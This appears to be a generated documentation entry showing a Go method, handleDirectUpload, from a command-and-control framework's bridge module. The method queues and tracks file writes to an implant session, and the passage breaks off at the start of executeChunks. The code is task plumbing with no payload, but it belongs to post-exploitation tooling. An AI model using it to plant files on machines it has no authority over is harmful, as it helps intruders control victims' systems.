Method handleDirectUpload

internal/bridge/module_upload.go:68–88

(ctx ModuleContext, sessionID string, taskID uint32, sess *sessions.Session, toolName string, req *implantpb.UploadRequest)

}

func (m *UploadModule) handleDirectUpload(ctx ModuleContext, sessionID string, taskID uint32, sess *sessions.Session, toolName string, req *implantpb.UploadRequest) {
	args := sessions.BuildWriteArguments(sess, toolName, req.Target, string(req.Data))
	if _, ok := enqueueToolAction(ctx, sessionID, taskID, toolName, args); !ok {
		return
	}
	log.Infof("[bridge] enqueued direct upload task %d for session %s: %s", taskID, sessionID, req.Target)

	ch := ctx.Tasks.AwaitResult(sessionID, taskID)
	if ch == nil {
		ctx.Tasks.Fail(sessionID, taskID, "await failed")
		return
	}

	if _, ok := awaitTaskResult(ch, taskID); ok {
		sendUploadACK(ctx, sessionID, taskID, true)
		ctx.Tasks.Complete(sessionID, taskID)
	} else {
		log.Warnf("[bridge] channel closed without result for direct upload task %d session %s", taskID, sessionID)
		ctx.Tasks.Fail(sessionID, taskID, "channel closed")
	}
}

func (m *UploadModule) executeChunks(ctx ModuleContext, sessionID string, taskID uint32, shellTool string, sess *sessions.Session, chunks []sessions.UploadChunk) {
	ch := ctx.Tasks.AwaitResult(sessionID, taskID)